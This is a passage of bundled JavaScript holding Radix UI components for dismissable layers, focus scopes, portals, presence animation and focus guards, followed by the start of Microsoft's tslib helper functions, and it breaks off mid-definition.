...context.branches ].some((branch)=>branch.contains(target) ); if (!isPointerEventsEnabled || isPointerDownOnBranch) return; onPointerDownOutside === null || onPointerDownOutside === void 0 || onPointerDownOutside(event); onInteractOutside === null || onInteractOutside === void 0 || onInteractOutside(event); if (!event.defaultPrevented) onDismiss === null || onDismiss === void 0 || onDismiss(); }, ownerDocument); const focusOutside = $5cb92bef7577960e$var$useFocusOutside((event)=>{ const target = event.target; const isFocusInBranch = [ ...context.branches ].some((branch)=>branch.contains(target) ); if (isFocusInBranch) return; onFocusOutside === null || onFocusOutside === void 0 || onFocusOutside(event); onInteractOutside === null || onInteractOutside === void 0 || onInteractOutside(event); if (!event.defaultPrevented) onDismiss === null || onDismiss === void 0 || onDismiss(); }, ownerDocument); $addc16e1bbe58fd0$export$3a72a57244d6e765((event)=>{ const isHighestLayer = index === context.layers.size - 1; if (!isHighestLayer) return; onEscapeKeyDown === null || onEscapeKeyDown === void 0 || onEscapeKeyDown(event); if (!event.defaultPrevented && onDismiss) { event.preventDefault(); onDismiss(); } }, ownerDocument); (0,external_React_namespaceObject.useEffect)(()=>{ if (!node1) return; if (disableOutsidePointerEvents) { if (context.layersWithOutsidePointerEventsDisabled.size === 0) { $5cb92bef7577960e$var$originalBodyPointerEvents = ownerDocument.body.style.pointerEvents; ownerDocument.body.style.pointerEvents = 'none'; } context.layersWithOutsidePointerEventsDisabled.add(node1); } context.layers.add(node1); $5cb92bef7577960e$var$dispatchUpdate(); return ()=>{ if (disableOutsidePointerEvents && context.layersWithOutsidePointerEventsDisabled.size === 1) ownerDocument.body.style.pointerEvents = $5cb92bef7577960e$var$originalBodyPointerEvents; }; }, [ node1, ownerDocument, disableOutsidePointerEvents, context ]); /** * We purposefully prevent combining this effect with the `disableOutsidePointerEvents` effect * because a change to `disableOutsidePointerEvents` would remove this layer from the stack * and add it to the end again so the layering order wouldn't be _creation order_. * We only want them to be removed from context stacks when unmounted. */ (0,external_React_namespaceObject.useEffect)(()=>{ return ()=>{ if (!node1) return; context.layers.delete(node1); context.layersWithOutsidePointerEventsDisabled.delete(node1); $5cb92bef7577960e$var$dispatchUpdate(); }; }, [ node1, context ]); (0,external_React_namespaceObject.useEffect)(()=>{ const handleUpdate = ()=>force({}) ; document.addEventListener($5cb92bef7577960e$var$CONTEXT_UPDATE, handleUpdate); return ()=>document.removeEventListener($5cb92bef7577960e$var$CONTEXT_UPDATE, handleUpdate) ; }, []); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({}, layerProps, { ref: composedRefs, style: { pointerEvents: isBodyPointerEventsDisabled ? isPointerEventsEnabled ? 'auto' : 'none' : undefined, ...props.style }, onFocusCapture: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onFocusCapture, focusOutside.onFocusCapture), onBlurCapture: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onBlurCapture, focusOutside.onBlurCapture), onPointerDownCapture: $e42e1063c40fb3ef$export$b9ecd428b558ff10(props.onPointerDownCapture, pointerDownOutside.onPointerDownCapture) })); }); /*#__PURE__*/ Object.assign($5cb92bef7577960e$export$177fb62ff3ec1f22, { displayName: $5cb92bef7577960e$var$DISMISSABLE_LAYER_NAME }); /* ------------------------------------------------------------------------------------------------- * DismissableLayerBranch * -----------------------------------------------------------------------------------------------*/ const $5cb92bef7577960e$var$BRANCH_NAME = 'DismissableLayerBranch'; const $5cb92bef7577960e$export$4d5eb2109db14228 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const context = (0,external_React_namespaceObject.useContext)($5cb92bef7577960e$var$DismissableLayerContext); const ref = (0,external_React_namespaceObject.useRef)(null); const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, ref); (0,external_React_namespaceObject.useEffect)(()=>{ const node = ref.current; if (node) { context.branches.add(node); return ()=>{ context.branches.delete(node); }; } }, [ context.branches ]); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({}, props, { ref: composedRefs })); }); /*#__PURE__*/ Object.assign($5cb92bef7577960e$export$4d5eb2109db14228, { displayName: $5cb92bef7577960e$var$BRANCH_NAME }); /* -----------------------------------------------------------------------------------------------*/ /** * Listens for `pointerdown` outside a react subtree. We use `pointerdown` rather than `pointerup` * to mimic layer dismissing behaviour present in OS. * Returns props to pass to the node we want to check for outside events. */ function $5cb92bef7577960e$var$usePointerDownOutside(onPointerDownOutside, ownerDocument = globalThis === null || globalThis === void 0 ? void 0 : globalThis.document) { const handlePointerDownOutside = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onPointerDownOutside); const isPointerInsideReactTreeRef = (0,external_React_namespaceObject.useRef)(false); const handleClickRef = (0,external_React_namespaceObject.useRef)(()=>{}); (0,external_React_namespaceObject.useEffect)(()=>{ const handlePointerDown = (event)=>{ if (event.target && !isPointerInsideReactTreeRef.current) { const eventDetail = { originalEvent: event }; function handleAndDispatchPointerDownOutsideEvent() { $5cb92bef7577960e$var$handleAndDispatchCustomEvent($5cb92bef7577960e$var$POINTER_DOWN_OUTSIDE, handlePointerDownOutside, eventDetail, { discrete: true }); } /** * On touch devices, we need to wait for a click event because browsers implement * a ~350ms delay between the time the user stops touching the display and when the * browser executres events. We need to ensure we don't reactivate pointer-events within * this timeframe otherwise the browser may execute events that should have been prevented. * * Additionally, this also lets us deal automatically with cancellations when a click event * isn't raised because the page was considered scrolled/drag-scrolled, long-pressed, etc. * * This is why we also continuously remove the previous listener, because we cannot be * certain that it was raised, and therefore cleaned-up. */ if (event.pointerType === 'touch') { ownerDocument.removeEventListener('click', handleClickRef.current); handleClickRef.current = handleAndDispatchPointerDownOutsideEvent; ownerDocument.addEventListener('click', handleClickRef.current, { once: true }); } else handleAndDispatchPointerDownOutsideEvent(); } else // We need to remove the event listener in case the outside click has been canceled. // See: https://github.com/radix-ui/primitives/issues/2171 ownerDocument.removeEventListener('click', handleClickRef.current); isPointerInsideReactTreeRef.current = false; }; /** * if this hook executes in a component that mounts via a `pointerdown` event, the event * would bubble up to the document and trigger a `pointerDownOutside` event. We avoid * this by delaying the event listener registration on the document. * This is not React specific, but rather how the DOM works, ie: * ``` * button.addEventListener('pointerdown', () => { * console.log('I will log'); * document.addEventListener('pointerdown', () => { * console.log('I will also log'); * }) * }); */ const timerId = window.setTimeout(()=>{ ownerDocument.addEventListener('pointerdown', handlePointerDown); }, 0); return ()=>{ window.clearTimeout(timerId); ownerDocument.removeEventListener('pointerdown', handlePointerDown); ownerDocument.removeEventListener('click', handleClickRef.current); }; }, [ ownerDocument, handlePointerDownOutside ]); return { // ensures we check React component tree (not just DOM tree) onPointerDownCapture: ()=>isPointerInsideReactTreeRef.current = true }; } /** * Listens for when focus happens outside a react subtree. * Returns props to pass to the root (node) of the subtree we want to check. */ function $5cb92bef7577960e$var$useFocusOutside(onFocusOutside, ownerDocument = globalThis === null || globalThis === void 0 ? void 0 : globalThis.document) { const handleFocusOutside = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onFocusOutside); const isFocusInsideReactTreeRef = (0,external_React_namespaceObject.useRef)(false); (0,external_React_namespaceObject.useEffect)(()=>{ const handleFocus = (event)=>{ if (event.target && !isFocusInsideReactTreeRef.current) { const eventDetail = { originalEvent: event }; $5cb92bef7577960e$var$handleAndDispatchCustomEvent($5cb92bef7577960e$var$FOCUS_OUTSIDE, handleFocusOutside, eventDetail, { discrete: false }); } }; ownerDocument.addEventListener('focusin', handleFocus); return ()=>ownerDocument.removeEventListener('focusin', handleFocus) ; }, [ ownerDocument, handleFocusOutside ]); return { onFocusCapture: ()=>isFocusInsideReactTreeRef.current = true , onBlurCapture: ()=>isFocusInsideReactTreeRef.current = false }; } function $5cb92bef7577960e$var$dispatchUpdate() { const event = new CustomEvent($5cb92bef7577960e$var$CONTEXT_UPDATE); document.dispatchEvent(event); } function $5cb92bef7577960e$var$handleAndDispatchCustomEvent(name, handler, detail, { discrete: discrete }) { const target = detail.originalEvent.target; const event = new CustomEvent(name, { bubbles: false, cancelable: true, detail: detail }); if (handler) target.addEventListener(name, handler, { once: true }); if (discrete) $8927f6f2acc4f386$export$6d1a0317bde7de7f(target, event); else target.dispatchEvent(event); } const $5cb92bef7577960e$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($5cb92bef7577960e$export$177fb62ff3ec1f22)); const $5cb92bef7577960e$export$aecb2ddcb55c95be = (/* unused pure expression or super */ null && ($5cb92bef7577960e$export$4d5eb2109db14228)); ;// ./node_modules/@radix-ui/react-focus-scope/dist/index.mjs const $d3863c46a17e8a28$var$AUTOFOCUS_ON_MOUNT = 'focusScope.autoFocusOnMount'; const $d3863c46a17e8a28$var$AUTOFOCUS_ON_UNMOUNT = 'focusScope.autoFocusOnUnmount'; const $d3863c46a17e8a28$var$EVENT_OPTIONS = { bubbles: false, cancelable: true }; /* ------------------------------------------------------------------------------------------------- * FocusScope * -----------------------------------------------------------------------------------------------*/ const $d3863c46a17e8a28$var$FOCUS_SCOPE_NAME = 'FocusScope'; const $d3863c46a17e8a28$export$20e40289641fbbb6 = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ const { loop: loop = false , trapped: trapped = false , onMountAutoFocus: onMountAutoFocusProp , onUnmountAutoFocus: onUnmountAutoFocusProp , ...scopeProps } = props; const [container1, setContainer] = (0,external_React_namespaceObject.useState)(null); const onMountAutoFocus = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onMountAutoFocusProp); const onUnmountAutoFocus = $b1b2314f5f9a1d84$export$25bec8c6f54ee79a(onUnmountAutoFocusProp); const lastFocusedElementRef = (0,external_React_namespaceObject.useRef)(null); const composedRefs = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(forwardedRef, (node)=>setContainer(node) ); const focusScope = (0,external_React_namespaceObject.useRef)({ paused: false, pause () { this.paused = true; }, resume () { this.paused = false; } }).current; // Takes care of trapping focus if focus is moved outside programmatically for example (0,external_React_namespaceObject.useEffect)(()=>{ if (trapped) { function handleFocusIn(event) { if (focusScope.paused || !container1) return; const target = event.target; if (container1.contains(target)) lastFocusedElementRef.current = target; else $d3863c46a17e8a28$var$focus(lastFocusedElementRef.current, { select: true }); } function handleFocusOut(event) { if (focusScope.paused || !container1) return; const relatedTarget = event.relatedTarget; // A `focusout` event with a `null` `relatedTarget` will happen in at least two cases: // // 1. When the user switches app/tabs/windows/the browser itself loses focus. // 2. In Google Chrome, when the focused element is removed from the DOM. // // We let the browser do its thing here because: // // 1. The browser already keeps a memory of what's focused for when the page gets refocused. // 2. In Google Chrome, if we try to focus the deleted focused element (as per below), it // throws the CPU to 100%, so we avoid doing anything for this reason here too. if (relatedTarget === null) return; // If the focus has moved to an actual legitimate element (`relatedTarget !== null`) // that is outside the container, we move focus to the last valid focused element inside. if (!container1.contains(relatedTarget)) $d3863c46a17e8a28$var$focus(lastFocusedElementRef.current, { select: true }); } // When the focused element gets removed from the DOM, browsers move focus // back to the document.body. In this case, we move focus to the container // to keep focus trapped correctly. function handleMutations(mutations) { const focusedElement = document.activeElement; if (focusedElement !== document.body) return; for (const mutation of mutations)if (mutation.removedNodes.length > 0) $d3863c46a17e8a28$var$focus(container1); } document.addEventListener('focusin', handleFocusIn); document.addEventListener('focusout', handleFocusOut); const mutationObserver = new MutationObserver(handleMutations); if (container1) mutationObserver.observe(container1, { childList: true, subtree: true }); return ()=>{ document.removeEventListener('focusin', handleFocusIn); document.removeEventListener('focusout', handleFocusOut); mutationObserver.disconnect(); }; } }, [ trapped, container1, focusScope.paused ]); (0,external_React_namespaceObject.useEffect)(()=>{ if (container1) { $d3863c46a17e8a28$var$focusScopesStack.add(focusScope); const previouslyFocusedElement = document.activeElement; const hasFocusedCandidate = container1.contains(previouslyFocusedElement); if (!hasFocusedCandidate) { const mountEvent = new CustomEvent($d3863c46a17e8a28$var$AUTOFOCUS_ON_MOUNT, $d3863c46a17e8a28$var$EVENT_OPTIONS); container1.addEventListener($d3863c46a17e8a28$var$AUTOFOCUS_ON_MOUNT, onMountAutoFocus); container1.dispatchEvent(mountEvent); if (!mountEvent.defaultPrevented) { $d3863c46a17e8a28$var$focusFirst($d3863c46a17e8a28$var$removeLinks($d3863c46a17e8a28$var$getTabbableCandidates(container1)), { select: true }); if (document.activeElement === previouslyFocusedElement) $d3863c46a17e8a28$var$focus(container1); } } return ()=>{ container1.removeEventListener($d3863c46a17e8a28$var$AUTOFOCUS_ON_MOUNT, onMountAutoFocus); // We hit a react bug (fixed in v17) with focusing in unmount. // We need to delay the focus a little to get around it for now. // See: https://github.com/facebook/react/issues/17894 setTimeout(()=>{ const unmountEvent = new CustomEvent($d3863c46a17e8a28$var$AUTOFOCUS_ON_UNMOUNT, $d3863c46a17e8a28$var$EVENT_OPTIONS); container1.addEventListener($d3863c46a17e8a28$var$AUTOFOCUS_ON_UNMOUNT, onUnmountAutoFocus); container1.dispatchEvent(unmountEvent); if (!unmountEvent.defaultPrevented) $d3863c46a17e8a28$var$focus(previouslyFocusedElement !== null && previouslyFocusedElement !== void 0 ? previouslyFocusedElement : document.body, { select: true }); // we need to remove the listener after we `dispatchEvent` container1.removeEventListener($d3863c46a17e8a28$var$AUTOFOCUS_ON_UNMOUNT, onUnmountAutoFocus); $d3863c46a17e8a28$var$focusScopesStack.remove(focusScope); }, 0); }; } }, [ container1, onMountAutoFocus, onUnmountAutoFocus, focusScope ]); // Takes care of looping focus (when tabbing whilst at the edges) const handleKeyDown = (0,external_React_namespaceObject.useCallback)((event)=>{ if (!loop && !trapped) return; if (focusScope.paused) return; const isTabKey = event.key === 'Tab' && !event.altKey && !event.ctrlKey && !event.metaKey; const focusedElement = document.activeElement; if (isTabKey && focusedElement) { const container = event.currentTarget; const [first, last] = $d3863c46a17e8a28$var$getTabbableEdges(container); const hasTabbableElementsInside = first && last; // we can only wrap focus if we have tabbable edges if (!hasTabbableElementsInside) { if (focusedElement === container) event.preventDefault(); } else { if (!event.shiftKey && focusedElement === last) { event.preventDefault(); if (loop) $d3863c46a17e8a28$var$focus(first, { select: true }); } else if (event.shiftKey && focusedElement === first) { event.preventDefault(); if (loop) $d3863c46a17e8a28$var$focus(last, { select: true }); } } } }, [ loop, trapped, focusScope.paused ]); return /*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({ tabIndex: -1 }, scopeProps, { ref: composedRefs, onKeyDown: handleKeyDown })); }); /*#__PURE__*/ Object.assign($d3863c46a17e8a28$export$20e40289641fbbb6, { displayName: $d3863c46a17e8a28$var$FOCUS_SCOPE_NAME }); /* ------------------------------------------------------------------------------------------------- * Utils * -----------------------------------------------------------------------------------------------*/ /** * Attempts focusing the first element in a list of candidates. * Stops when focus has actually moved. */ function $d3863c46a17e8a28$var$focusFirst(candidates, { select: select = false } = {}) { const previouslyFocusedElement = document.activeElement; for (const candidate of candidates){ $d3863c46a17e8a28$var$focus(candidate, { select: select }); if (document.activeElement !== previouslyFocusedElement) return; } } /** * Returns the first and last tabbable elements inside a container. */ function $d3863c46a17e8a28$var$getTabbableEdges(container) { const candidates = $d3863c46a17e8a28$var$getTabbableCandidates(container); const first = $d3863c46a17e8a28$var$findVisible(candidates, container); const last = $d3863c46a17e8a28$var$findVisible(candidates.reverse(), container); return [ first, last ]; } /** * Returns a list of potential tabbable candidates. * * NOTE: This is only a close approximation. For example it doesn't take into account cases like when * elements are not visible. This cannot be worked out easily by just reading a property, but rather * necessitate runtime knowledge (computed styles, etc). We deal with these cases separately. * * See: https://developer.mozilla.org/en-US/docs/Web/API/TreeWalker * Credit: https://github.com/discord/focus-layers/blob/master/src/util/wrapFocus.tsx#L1 */ function $d3863c46a17e8a28$var$getTabbableCandidates(container) { const nodes = []; const walker = document.createTreeWalker(container, NodeFilter.SHOW_ELEMENT, { acceptNode: (node)=>{ const isHiddenInput = node.tagName === 'INPUT' && node.type === 'hidden'; if (node.disabled || node.hidden || isHiddenInput) return NodeFilter.FILTER_SKIP; // `.tabIndex` is not the same as the `tabindex` attribute. It works on the // runtime's understanding of tabbability, so this automatically accounts // for any kind of element that could be tabbed to. return node.tabIndex >= 0 ? NodeFilter.FILTER_ACCEPT : NodeFilter.FILTER_SKIP; } }); while(walker.nextNode())nodes.push(walker.currentNode); // we do not take into account the order of nodes with positive `tabIndex` as it // hinders accessibility to have tab order different from visual order. return nodes; } /** * Returns the first visible element in a list. * NOTE: Only checks visibility up to the `container`. */ function $d3863c46a17e8a28$var$findVisible(elements, container) { for (const element of elements){ // we stop checking if it's hidden at the `container` level (excluding) if (!$d3863c46a17e8a28$var$isHidden(element, { upTo: container })) return element; } } function $d3863c46a17e8a28$var$isHidden(node, { upTo: upTo }) { if (getComputedStyle(node).visibility === 'hidden') return true; while(node){ // we stop at `upTo` (excluding it) if (upTo !== undefined && node === upTo) return false; if (getComputedStyle(node).display === 'none') return true; node = node.parentElement; } return false; } function $d3863c46a17e8a28$var$isSelectableInput(element) { return element instanceof HTMLInputElement && 'select' in element; } function $d3863c46a17e8a28$var$focus(element, { select: select = false } = {}) { // only focus if that element is focusable if (element && element.focus) { const previouslyFocusedElement = document.activeElement; // NOTE: we prevent scrolling on focus, to minimize jarring transitions for users element.focus({ preventScroll: true }); // only select if its not the same element, it supports selection and we need to select if (element !== previouslyFocusedElement && $d3863c46a17e8a28$var$isSelectableInput(element) && select) element.select(); } } /* ------------------------------------------------------------------------------------------------- * FocusScope stack * -----------------------------------------------------------------------------------------------*/ const $d3863c46a17e8a28$var$focusScopesStack = $d3863c46a17e8a28$var$createFocusScopesStack(); function $d3863c46a17e8a28$var$createFocusScopesStack() { /** A stack of focus scopes, with the active one at the top */ let stack = []; return { add (focusScope) { // pause the currently active focus scope (at the top of the stack) const activeFocusScope = stack[0]; if (focusScope !== activeFocusScope) activeFocusScope === null || activeFocusScope === void 0 || activeFocusScope.pause(); // remove in case it already exists (because we'll re-add it at the top of the stack) stack = $d3863c46a17e8a28$var$arrayRemove(stack, focusScope); stack.unshift(focusScope); }, remove (focusScope) { var _stack$; stack = $d3863c46a17e8a28$var$arrayRemove(stack, focusScope); (_stack$ = stack[0]) === null || _stack$ === void 0 || _stack$.resume(); } }; } function $d3863c46a17e8a28$var$arrayRemove(array, item) { const updatedArray = [ ...array ]; const index = updatedArray.indexOf(item); if (index !== -1) updatedArray.splice(index, 1); return updatedArray; } function $d3863c46a17e8a28$var$removeLinks(items) { return items.filter((item)=>item.tagName !== 'A' ); } const $d3863c46a17e8a28$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($d3863c46a17e8a28$export$20e40289641fbbb6)); ;// ./node_modules/@radix-ui/react-portal/dist/index.mjs /* ------------------------------------------------------------------------------------------------- * Portal * -----------------------------------------------------------------------------------------------*/ const $f1701beae083dbae$var$PORTAL_NAME = 'Portal'; const $f1701beae083dbae$export$602eac185826482c = /*#__PURE__*/ (0,external_React_namespaceObject.forwardRef)((props, forwardedRef)=>{ var _globalThis$document; const { container: container = globalThis === null || globalThis === void 0 ? void 0 : (_globalThis$document = globalThis.document) === null || _globalThis$document === void 0 ? void 0 : _globalThis$document.body , ...portalProps } = props; return container ? /*#__PURE__*/ external_ReactDOM_namespaceObject.createPortal(/*#__PURE__*/ (0,external_React_namespaceObject.createElement)($8927f6f2acc4f386$export$250ffa63cdc0d034.div, _extends({}, portalProps, { ref: forwardedRef })), container) : null; }); /*#__PURE__*/ Object.assign($f1701beae083dbae$export$602eac185826482c, { displayName: $f1701beae083dbae$var$PORTAL_NAME }); /* -----------------------------------------------------------------------------------------------*/ const $f1701beae083dbae$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($f1701beae083dbae$export$602eac185826482c)); ;// ./node_modules/@radix-ui/react-presence/dist/index.mjs function $fe963b355347cc68$export$3e6543de14f8614f(initialState, machine) { return (0,external_React_namespaceObject.useReducer)((state, event)=>{ const nextState = machine[state][event]; return nextState !== null && nextState !== void 0 ? nextState : state; }, initialState); } const $921a889cee6df7e8$export$99c2b779aa4e8b8b = (props)=>{ const { present: present , children: children } = props; const presence = $921a889cee6df7e8$var$usePresence(present); const child = typeof children === 'function' ? children({ present: presence.isPresent }) : external_React_namespaceObject.Children.only(children); const ref = $6ed0406888f73fc4$export$c7b2cbe3552a0d05(presence.ref, child.ref); const forceMount = typeof children === 'function'; return forceMount || presence.isPresent ? /*#__PURE__*/ (0,external_React_namespaceObject.cloneElement)(child, { ref: ref }) : null; }; $921a889cee6df7e8$export$99c2b779aa4e8b8b.displayName = 'Presence'; /* ------------------------------------------------------------------------------------------------- * usePresence * -----------------------------------------------------------------------------------------------*/ function $921a889cee6df7e8$var$usePresence(present) { const [node1, setNode] = (0,external_React_namespaceObject.useState)(); const stylesRef = (0,external_React_namespaceObject.useRef)({}); const prevPresentRef = (0,external_React_namespaceObject.useRef)(present); const prevAnimationNameRef = (0,external_React_namespaceObject.useRef)('none'); const initialState = present ? 'mounted' : 'unmounted'; const [state, send] = $fe963b355347cc68$export$3e6543de14f8614f(initialState, { mounted: { UNMOUNT: 'unmounted', ANIMATION_OUT: 'unmountSuspended' }, unmountSuspended: { MOUNT: 'mounted', ANIMATION_END: 'unmounted' }, unmounted: { MOUNT: 'mounted' } }); (0,external_React_namespaceObject.useEffect)(()=>{ const currentAnimationName = $921a889cee6df7e8$var$getAnimationName(stylesRef.current); prevAnimationNameRef.current = state === 'mounted' ? currentAnimationName : 'none'; }, [ state ]); $9f79659886946c16$export$e5c5a5f917a5871c(()=>{ const styles = stylesRef.current; const wasPresent = prevPresentRef.current; const hasPresentChanged = wasPresent !== present; if (hasPresentChanged) { const prevAnimationName = prevAnimationNameRef.current; const currentAnimationName = $921a889cee6df7e8$var$getAnimationName(styles); if (present) send('MOUNT'); else if (currentAnimationName === 'none' || (styles === null || styles === void 0 ? void 0 : styles.display) === 'none') // If there is no exit animation or the element is hidden, animations won't run // so we unmount instantly send('UNMOUNT'); else { /** * When `present` changes to `false`, we check changes to animation-name to * determine whether an animation has started. We chose this approach (reading * computed styles) because there is no `animationrun` event and `animationstart` * fires after `animation-delay` has expired which would be too late. */ const isAnimating = prevAnimationName !== currentAnimationName; if (wasPresent && isAnimating) send('ANIMATION_OUT'); else send('UNMOUNT'); } prevPresentRef.current = present; } }, [ present, send ]); $9f79659886946c16$export$e5c5a5f917a5871c(()=>{ if (node1) { /** * Triggering an ANIMATION_OUT during an ANIMATION_IN will fire an `animationcancel` * event for ANIMATION_IN after we have entered `unmountSuspended` state. So, we * make sure we only trigger ANIMATION_END for the currently active animation. */ const handleAnimationEnd = (event)=>{ const currentAnimationName = $921a889cee6df7e8$var$getAnimationName(stylesRef.current); const isCurrentAnimation = currentAnimationName.includes(event.animationName); if (event.target === node1 && isCurrentAnimation) // With React 18 concurrency this update is applied // a frame after the animation ends, creating a flash of visible content. // By manually flushing we ensure they sync within a frame, removing the flash. (0,external_ReactDOM_namespaceObject.flushSync)(()=>send('ANIMATION_END') ); }; const handleAnimationStart = (event)=>{ if (event.target === node1) // if animation occurred, store its name as the previous animation. prevAnimationNameRef.current = $921a889cee6df7e8$var$getAnimationName(stylesRef.current); }; node1.addEventListener('animationstart', handleAnimationStart); node1.addEventListener('animationcancel', handleAnimationEnd); node1.addEventListener('animationend', handleAnimationEnd); return ()=>{ node1.removeEventListener('animationstart', handleAnimationStart); node1.removeEventListener('animationcancel', handleAnimationEnd); node1.removeEventListener('animationend', handleAnimationEnd); }; } else // Transition to the unmounted state if the node is removed prematurely. // We avoid doing so during cleanup as the node may change but still exist. send('ANIMATION_END'); }, [ node1, send ]); return { isPresent: [ 'mounted', 'unmountSuspended' ].includes(state), ref: (0,external_React_namespaceObject.useCallback)((node)=>{ if (node) stylesRef.current = getComputedStyle(node); setNode(node); }, []) }; } /* -----------------------------------------------------------------------------------------------*/ function $921a889cee6df7e8$var$getAnimationName(styles) { return (styles === null || styles === void 0 ? void 0 : styles.animationName) || 'none'; } ;// ./node_modules/@radix-ui/react-focus-guards/dist/index.mjs /** Number of components which have requested interest to have focus guards */ let $3db38b7d1fb3fe6a$var$count = 0; function $3db38b7d1fb3fe6a$export$ac5b58043b79449b(props) { $3db38b7d1fb3fe6a$export$b7ece24a22aeda8c(); return props.children; } /** * Injects a pair of focus guards at the edges of the whole DOM tree * to ensure `focusin` & `focusout` events can be caught consistently. */ function $3db38b7d1fb3fe6a$export$b7ece24a22aeda8c() { (0,external_React_namespaceObject.useEffect)(()=>{ var _edgeGuards$, _edgeGuards$2; const edgeGuards = document.querySelectorAll('[data-radix-focus-guard]'); document.body.insertAdjacentElement('afterbegin', (_edgeGuards$ = edgeGuards[0]) !== null && _edgeGuards$ !== void 0 ? _edgeGuards$ : $3db38b7d1fb3fe6a$var$createFocusGuard()); document.body.insertAdjacentElement('beforeend', (_edgeGuards$2 = edgeGuards[1]) !== null && _edgeGuards$2 !== void 0 ? _edgeGuards$2 : $3db38b7d1fb3fe6a$var$createFocusGuard()); $3db38b7d1fb3fe6a$var$count++; return ()=>{ if ($3db38b7d1fb3fe6a$var$count === 1) document.querySelectorAll('[data-radix-focus-guard]').forEach((node)=>node.remove() ); $3db38b7d1fb3fe6a$var$count--; }; }, []); } function $3db38b7d1fb3fe6a$var$createFocusGuard() { const element = document.createElement('span'); element.setAttribute('data-radix-focus-guard', ''); element.tabIndex = 0; element.style.cssText = 'outline: none; opacity: 0; position: fixed; pointer-events: none'; return element; } const $3db38b7d1fb3fe6a$export$be92b6f5f03c0fe9 = (/* unused pure expression or super */ null && ($3db38b7d1fb3fe6a$export$ac5b58043b79449b)); ;// ./node_modules/tslib/tslib.es6.mjs /****************************************************************************** Copyright (c) Microsoft Corporation. Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted. THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ***************************************************************************** */ /* global Reflect, Promise, SuppressedError, Symbol, Iterator */ var extendStatics = function(d, b) { extendStatics = Object.setPrototypeOf || ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; return extendStatics(d, b); }; function __extends(d, b) { if (typeof b !== "function" && b !== null) throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); extendStatics(d, b); function __() { this.constructor = d; } d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); } var __assign = function() { __assign = Object.assign || function __assign(t) { for (var s, i = 1, n = arguments.length; i < n; i++) { s = arguments[i]; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p]; } return t; } return __assign.apply(this, arguments); } function __rest(s, e) { var t = {}; for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p) && e.indexOf(p) < 0) t[p] = s[p]; if (s != null && typeof Object.getOwnPropertySymbols === "function") for (var i = 0, p = Object.getOwnPropertySymbols(s); i < p.length; i++) { if (e.indexOf(p[i]) < 0 && Object.prototype.propertyIsEnumerable.call(s, p[i])) t[p[i]] = s[p[i]]; } return t; } function __decorate(decorators, target, key, desc) { var c = arguments.length, r = c < 3 ? target : desc === null ? desc = Object.getOwnPropertyDescriptor(target, key) : desc, d; if (typeof Reflect === "object" && typeof Reflect.decorate === "function") r = Reflect.decorate(decorators, target, key, desc); else for (var i = decorators.length - 1; i >= 0; i--) if (d = decorators[i]) r = (c < 3 ? d(r) : c > 3 ? d(target, key, r) : d(target, key)) || r; return c > 3 && r && Object.defineProperty(target, key, r), r; } function __param(paramIndex, decorator) { return function (target, key) { decorator(target, key, paramIndex); } } function __esDecorate(ctor, descriptorIn, decorators, contextIn, initializers, extraInitializers) { function accept(f) { if (f !== void 0 && typeof f !== "function") throw new TypeError("Function expected"); return f; } var kind = contextIn.kind, key = kind === "getter" ? "get" : kind === "setter" ? "set" : "value"; var target = !descriptorIn && ctor ? contextIn["static"] ? ctor : ctor.prototype : null; var descriptor = descriptorIn || (target ? Object.getOwnPropertyDescriptor(target, contextIn.name) : {}); var _, done = false; for (var i = decorators.length - 1; i >= 0; i--) { var context = {}; for (var p in contextIn) context[p] = p === "access" ? {} : contextIn[p]; for (var p in contextIn.access) context.access[p] = contextIn.access[p]; context.addInitializer = function (f) { if (done) throw new TypeError("Cannot add initializers after decoration has completed"); extraInitializers.push(accept(f || null)); }; var result = (0, decorators[i])(kind === "accessor" ? { get: descriptor.get, set: descriptor.set } : descriptor[key], context); if (kind === "accessor") { if (result === void 0) continue; if (result === null || typeof result !== "object") throw new TypeError("Object expected"); if (_ = accept(result.get)) descriptor.get = _; if (_ = accept(result.set)) descriptor.set = _; if (_ = accept(result.init)) initializers.unshift(_); } else if (_ = accept(result)) { if (kind === "field") initializers.unshift(_); else descriptor[key] = _; } } if (target) Object.defineProperty(target, contextIn.name, descriptor); done = true; }; function __runInitializers(thisArg, initializers, value) { var useValue = arguments.length > 2; for (var i = 0; i < initializers.length; i++) { value = useValue ? initializers[i].call(thisArg, value) : initializers[i].call(thisArg); } return useValue ? value : void 0; }; function 